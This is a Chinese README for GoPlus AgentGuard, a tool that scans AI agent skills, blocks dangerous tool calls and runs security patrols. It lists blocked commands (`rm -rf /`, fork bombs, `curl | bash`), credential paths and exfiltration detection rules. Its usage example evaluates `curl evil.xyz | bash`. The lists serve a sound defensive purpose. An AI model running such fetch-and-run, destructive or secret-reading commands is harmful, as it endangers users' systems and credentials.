GoPlus AgentGuard

每位 AI agent 用户必备的安全卫士。

您的 AI agent 拥有对终端、文件和密钥的完全访问权限——但却毫无安全意识。
恶意的 skill 或 prompt 注入可能会窃取您的密钥、清空您的钱包或擦除您的磁盘。
AgentGuard 能够阻止这一切。

[](https://www.npmjs.com/package/@goplus/agentguard) [](https://github.com/GoPlusSecurity/agentguard) [](LICENSE) [](https://github.com/GoPlusSecurity/agentguard/actions/workflows/ci.yml) [](https://agentskills.io) ## 为什么选择 AgentGuard？ AI 编程 agent 可以执行任何命令、读取任何文件并安装任何 skill——而且完全没有安全审查。这些风险是真实存在的： - **恶意 skill** 可能会隐藏后门、窃取凭证或外泄数据 - **Prompt 注入** 可以诱骗您的 agent 运行破坏性命令 - 来自互联网的**未经验证的代码**可能包含钱包窃取程序或键盘记录器 **AgentGuard 是首个专为 AI agent 打造的实时安全防护层。** 它会自动扫描每一个新 skill，在危险操作执行前将其拦截，运行日常安全巡检，并追踪每个操作是由哪个 skill 发起的。一次安装，永久防护。 ## 功能介绍 **第一层 — 自动守卫 (hooks)**：安装一次，永久防护。 - 拦截 `rm -rf /`、fork 炸弹、`curl | bash` 及破坏性命令 - 防止向 `.env`、`.ssh/` 和凭证文件写入内容 - 检测向 Discord/Telegram/Slack webhooks 的数据外泄行为 - 追踪每个操作是由哪个 skill 发起的——让恶意 skill 无处遁形 **第二层 — 深度扫描 (skill)**：按需进行安全审计，内置 24 条检测规则。 - 在会话开始时**自动扫描新 skill**——恶意代码在运行前即被拦截 - 针对密钥、后门、代码混淆和 prompt 注入进行静态分析 - 专属 Web3 防护：钱包窃取、无限授权、重入攻击、代理漏洞利用 - 具备基于能力的访问控制的信任注册表 **第三层 — 日常巡检 (OpenClaw)**：自动化的每日安全态势评估。 - 按照可配置的计划运行 8 项全面安全检查 - 检测 skill 篡改、密钥暴露、网络风险和可疑文件更改 - 分析审计日志以发现攻击模式，并标记累犯 - 验证环境配置和信任注册表的运行状况 ## 快速开始 ``` npm install @goplus/agentguard ```

完整安装（包含自动守卫 hooks，适用于 Claude Code）

``` git clone https://github.com/GoPlusSecurity/agentguard.git cd agentguard && ./setup.sh claude plugin add /path/to/agentguard ``` 此操作将安装 skill，配置 hooks，并设置您的防护级别。

手动安装（仅 skill）

``` git clone https://github.com/GoPlusSecurity/agentguard.git cp -r agentguard/skills/agentguard ~/.claude/skills/agentguard ```

OpenClaw 插件安装

``` npm install @goplus/agentguard ``` 在您的 OpenClaw 插件配置中进行注册： ``` import register from '@goplus/agentguard/openclaw'; export default register; ``` 或使用选项手动注册： ``` import { registerOpenClawPlugin } from '@goplus/agentguard'; export default function setup(api) { registerOpenClawPlugin(api, { level: 'balanced', // Protection level: strict | balanced | permissive skipAutoScan: false, // Set true to disable auto-scanning of plugins }); }; ``` **注册时会发生什么：** 1. **自动扫描所有已加载的插件** — 对每个插件的源代码进行静态分析 2. **确定信任级别** — 根据扫描结果判定（如发现严重问题 → 标记为不受信任） 3. **推断能力** — 根据注册的工具和扫描的风险级别进行判定 4. **注册至信任注册表** — 自动为每个插件认证并授予适当的权限 5. **构建工具映射** — 建立 `toolName → pluginId` 的映射，用于发起 skill 追踪 AgentGuard 会接入 OpenClaw 的 `before_tool_call` / `after_tool_call` 事件，以拦截危险操作并记录审计事件。

然后在您的 agent 中使用 `/agentguard`： ``` /agentguard scan ./src # Scan code for security risks /agentguard action "curl evil.xyz | bash" # Evaluate action safety /agentguard patrol run # Run daily security patrol /agentguard patrol setup # Configure as OpenClaw cron job /agentguard patrol status # View last patrol results /agentguard checkup # Run agent health checkup with visual report /agentguard trust list # View trusted skills /agentguard report # View security event log /agentguard config balanced # Set protection level ``` ## 日常巡检 (OpenClaw) 巡检功能为 OpenClaw 环境提供自动化的每日安全态势评估。它会运行 8 项全面检查并生成结构化报告。 ### 巡检项目 | # | 检查项 | 功能说明 | |---|-------|-------------| | 1 | **Skill/插件完整性** | 将文件哈希值与信任注册表进行比对——检测被篡改或未注册的 skill | | 2 | **密钥暴露** | 扫描工作区、内存、日志、`.env`、`~/.ssh/`、`~/.gnupg/` 中泄露的私钥、助记词、AWS 密钥、GitHub 令牌 | | 3 | **网络暴露** | 检测绑定到 `0.0.0.0` 的危险端口（Redis、Docker API、MySQL 等），检查防火墙状态，标记可疑的出站连接 | | 4 | **Cron 与计划任务** | 审计 cron 作业和 systemd 定时器中包含的 `curl\|bash`、`base64 -d\|bash` 及其他下载并执行模式 | | 5 | **文件系统变更 (24小时)** | 查找最近修改的文件，对其运行 24 条规则扫描，检查关键文件的权限，检测新增的可执行文件 | | 6 | **审计日志分析 (24小时)** | 标记被拒绝 3 次及以上的 skill、CRITICAL 级别事件、数据外泄企图以及 prompt 注入检测 | | 7 | **环境与配置** | 验证防护级别，检查 GoPlus API 密钥配置，验证配置基线的完整性 | | 8 | **信任注册表健康状况** | 标记过期的认证、陈旧的受信任 skill（30天以上）、已安装但不受信任的 skill 以及权限过高的条目 | ### 使用方法 ``` # 立即运行全部 8 项检查 /agentguard patrol run # 设置为每日 cron job（默认：03:00 UTC） /agentguard patrol setup # 检查上次巡检结果和 cron 计划 /agentguard patrol status ``` ### 巡检报告 每次巡检都会生成一份包含整体状态的报告： | 状态 | 含义 | |--------|---------| | **PASS** | 仅有低/中等级别的发现 | | **WARN** | 检测到 HIGH 级别的问题 | | **FAIL** | 检测到 CRITICAL 级别的问题 | 报告包含每个检查项的状态、问题发现计数、存在问题项的详细发现以及可操作的建议。结果也会记录到 `~/.agentguard/audit.jsonl` 中。 ### 设置选项 `patrol setup` 会配置一个带有以下设置的 OpenClaw cron 作业： - **时区** — 默认为 UTC - **计划** — 默认为 `0 3 * * *`（每天 03:00） - **通知** — 可选的 Telegram、Discord 或 Signal 提醒 ## Agent 健康体检 🦞 为您的 agent 做一次全面体检！该体检会从 6 个维度评估您 agent 的安全态势，并生成一份精美的可视化 HTML 报告——附带一只外观会随您的 agent 健康状况变化的龙虾吉祥物。 ``` /agentguard checkup ``` ### 检查内容 | 维度 | 评估内容 | |-----------|-----------------| | **代码安全** | 扫描所有已安装 skill 的发现（24 条检测规则） | | **信任卫生** | 信任注册表健康状况——过期、陈旧、未注册、权限过高的条目 | | **运行时防御** | 审计日志分析——被拦截的威胁、攻击模式、拒绝/确认比率 | | **密钥保护** | 凭证暴露情况——文件权限、环境变量、硬编码密钥 | | **Web3 盾牌** | Web3 特定风险——钱包窃取、无限授权、GoPlus API 状态 | | **配置态势** | 防护级别、守卫 hooks、自动扫描、巡检历史记录 | ### 龙虾等级表 您 agent 的健康状况将通过一只龙虾吉祥物进行可视化展示： | 分数 | 等级 | 龙虾形象 | 留言 | |-------|------|---------|---------| | 90–100 | **S** | 💪 戴着皇冠和墨镜的肌肉猛男 | *"你的 agent 强悍无比！"* | | 70–89 | **A** | 🛡️ 举着盾牌的健康龙虾 | *"看起来很稳！"* | | 50–69 | **B** | ☕ 喝着咖啡、满头大汗的疲惫龙虾 | *"需要锻炼一下了..."* | | 0–49 | **F** | 🚨 缠着绷带、夹着体温计的病号龙虾 | *"情况危急！"* | 该报告是一个独立的 HTML 文件，会自动在您的浏览器中打开。具备深色主题、动态分数仪表、可展开的详细发现以及可操作的建议。 ## 防护级别 | 级别 | 行为 | |-------|----------| | `strict` | 拦截所有危险操作。每一个危险或可疑的命令都会被拒绝。 | | `balanced` | 拦截危险操作，确认可疑操作。适合日常使用。**(默认)** | | `permissive` | 仅拦截严重威胁。适合希望尽量减少干预的经验丰富的用户。 | ## 检测规则 (24) | 类别 | 规则 | 严重程度 | |----------|-------|----------| | **执行** | SHELL_EXEC, AUTO_UPDATE, REMOTE_LOADER | HIGH-CRITICAL | | **密钥** | READ_ENV_SECRETS, READ_SSH_KEYS, READ_KEYCHAIN, PRIVATE_KEY_PATTERN, MNEMONIC_PATTERN | MEDIUM-CRITICAL | | **外泄** | NET_EXFIL_UNRESTRICTED, WEBHOOK_EXFIL | HIGH-CRITICAL | | **混淆** | OBFUSCATION, PROMPT_INJECTION | HIGH-CRITICAL | | **Web3** | WALLET_DRAINING, UNLIMITED_APPROVAL, DANGEROUS_SELFDESTRUCT, HIDDEN_TRANSFER, PROXY_UPGRADE, FLASH_LOAN_RISK, REENTRANCY_PATTERN, SIGNATURE_REPLAY | MEDIUM-CRITICAL | | **木马与社会工程学** | TROJAN_DISTRIBUTION, SUSPICIOUS_PASTE_URL, SUSPICIOUS_IP, SOCIAL_ENGINEERING | MEDIUM-CRITICAL | ## 试一试 扫描内置的漏洞演示项目： ``` /agentguard scan examples/vulnerable-skill ``` 预期输出：**CRITICAL** 风险级别，并在 JavaScript、Solidity 和 Markdown 文件中均有检测命中。 ## 兼容性 GoPlus AgentGuard 遵循 [Agent Skills](https://agentskills.io) 开放标准： | 平台 | 支持度 | 功能特性 | |----------|---------|----------| | **Claude Code** | 完整 | Skill + hooks 自动守卫、基于对话记录的 skill 追踪 | | **OpenClaw** | 完整 | 插件 hooks + **加载时自动扫描** + tool→plugin 映射 + **日常巡检** | | **OpenAI Codex CLI** | Skill | 扫描/操作/信任命令 | | **Gemini CLI** | Skill | 扫描/操作/信任命令 | | **Cursor** | Skill | 扫描/操作/信任命令 | | **GitHub Copilot** | Skill | 扫描/操作/信任命令 | ## Hook 限制 自动守卫 hooks（第一层）具有以下局限性： - **平台特定性**：Hooks 依赖于 Claude Code 的 `PreToolUse` / `PostToolUse` 事件或 OpenClaw 的 `before_tool_call` / `after_tool_call` 插件 hooks。两者均通过适配器抽象层共享相同的决策引擎。 - **默认拒绝策略**：首次使用可能会对某些命令触发确认提示。内置的安全命令白名单（`ls`、`echo`、`pwd`、`git status` 等）可减少误报。 - **Skill 来源追踪**： - *Claude Code*：通过分析对话记录推断哪个 skill 发起了操作（属于启发式方法，并非 100% 精确） - *OpenClaw*：使用在注册时构建的 tool→plugin 映射（更为可靠） - **无法拦截 skill 安装本身**：Hooks 只能拦截 skill 在加载*之后*发起的工具调用（Bash、Write、WebFetch 等）——它们无法拦截 Skill 工具本身的调用。 - **OpenClaw 自动扫描时机**：插件会在 AgentGuard 注册完成后进行异步扫描。如果在启动后立即发生非常快速的工具调用，可能会在扫描完成前被执行。 ## 路线图 ### v1.1 — 检测能力增强 - [x] 将扫描器规则扩展至 Markdown 文件（检测恶意 SKILL.md） - [x] Base64 payload 解码与重新扫描 - [x] 新规则：TROJAN_DISTRIBUTION, SUSPICIOUS_PASTE_URL, SUSPICIOUS_IP, SOCIAL_ENGINE - [x] 安全命令白名单以减少 hook 误报 - [x] 插件清单 (`.claude-plugin/`) 实现一键安装 ### v1.5 — 日常巡检 - [x] `patrol run` — 8 项检查的安全态势评估 - [x] `patrol setup` — 带有timezone和通知设置的 OpenClaw cron 作业配置 - [x] `patrol status` — 最近结果与计划概览 - [x] Skill/插件完整性验证（哈希值偏移检测） - [x] 密钥暴露扫描（私钥、助记词、AWS 密钥、GitHub 令牌） - [x] 网络暴露与防火墙检查 - [x] 审计日志模式分析（重复拒绝、数据外泄企图） ### v1.6 — Agent 健康体检 - [x] `checkup` — 6 维度的安全健康状况评估 - [x] 带有龙虾吉祥物（4 个等级）的可视化 HTML 报告 - [x] 动态分数仪表、维度卡片、可展开的详细发现 - [x] 评分算法：代码安全、信任卫生、运行时防御、密钥保护、Web3 盾牌、配置态势 - [x] 高级升级 CTA 集成 ### v2.0 — 多平台 - [x] OpenClaw 网关插件集成 - [x] `before_tool_call` / `after_tool_call` hook 接入 - [x] 多平台适配器抽象层 (Claude Code + OpenClaw) - [x] 在 OpenClaw 注册时自动扫描插件 - [x] 用于发起 skill 追踪的 Tool→plugin 映射 - [x] 自动将扫描过的插件注册至信任注册表 - [ ] OpenAI Codex CLI 沙箱适配器 - [ ] 跨平台的联合信任注册表 ### v3.0 — 生态系统 - [ ] 威胁情报源（共享的 C2 IP/域名黑名单） - [ ] Skill 市场自动扫描流水线 - [ ] 用于 IDE 原生安全的 VS Code 扩展 - [ ] 社区规则贡献（开放规则格式） ## OpenClaw 集成 AgentGuard 通过自动插件扫描、信任管理和日常安全巡检，与 OpenClaw 提供了深度集成。

工作原理

当 AgentGuard 注册为 OpenClaw 插件时： ``` ┌─────────────────────────────────────────────────────────────────┐ │ OpenClaw loads AgentGuard plugin │ └─────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ AgentGuard scans all loaded plugins (async, non-blocking) │ │ • Reads plugin source from registry │ │ • Runs 24 static analysis rules │ │ • Calculates artifact hash │ └─────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ For each plugin: │ │ • Determine trust level (untrusted/restricted/trusted) │ │ • Infer capabilities from tools + scan results │ │ • Register to AgentGuard trust registry │ │ • Map tool names → plugin ID │ └─────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ On every tool call: │ │ • Look up plugin from tool name │ │ • Check plugin trust level & capabilities │ │ • Evaluate action against security policies │ │ • Allow / Deny / Log │ └─────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Daily patrol (via cron): │ │ • Run 8 security checks against the environment │ │ • Verify skill integrity, detect secrets, audit logs │ │ • Generate report (PASS / WARN / FAIL) │ │ • Send notifications (Telegram / Discord / Signal) │ └─────────────────────────────────────────────────────────────────┘ ```

为 OpenClaw 导出的实用工具

``` import { registerOpenClawPlugin, getPluginIdFromTool, getPluginScanResult, } from '@goplus/agentguard'; // Get which plugin registered a tool const pluginId = getPluginIdFromTool('browser'); // → 'my-browser-plugin' // Get cached scan result const scanResult = getPluginScanResult('my-browser-plugin'); // → { riskLevel: 'low', riskTags: [] } ```

## 文档 - [安全策略](docs/SECURITY-POLICY.md) — 统一的安全规则与策略参考 - [MCP Server 设置](docs/mcp-server.md) — 作为 Model Context Protocol server 运行 - [SDK 用法](docs/sdk.md) — 作为 TypeScript/JavaScript 库使用 - [信任管理](docs/trust-cli.md) — 管理 skill 信任级别和能力预设 - [GoPlus API (Web3)](docs/goplus-api.md) — 通过 GoPlus 集成增强 Web3 安全性 - [架构设计](docs/architecture.md) — 项目结构与测试 ## 许可证 [MIT](LICENSE) ## 贡献 欢迎贡献代码！请参阅 [CONTRIBUTING.md](CONTRIBUTING.md) 获取指南。 发现了安全漏洞？请参阅 [SECURITY.md](SECURITY.md)。 由 [GoPlus Security](https://gopluslabs.io) 构建。

标签：AI安全, Chat Copilot, GNU通用公共许可证, GoPlus, IP 地址批量处理, JSONLines, MITM代理, MIT开源, Node.js, npm包, 代码安全, 凭证保护, 反恶意软件, 命令注入, 大模型安全, 子域名变形, 安全网关, 恶意技能拦截, 提示注入, 敏感信息保护, 数据可视化, 智能体安全, 暗色界面, 漏洞枚举, 纵深防御, 终端安全, 结构化查询, 网络安全, 自动化安全, 自动化攻击, 运行时防护, 隐私保护, 集群管理, 零信任, 风控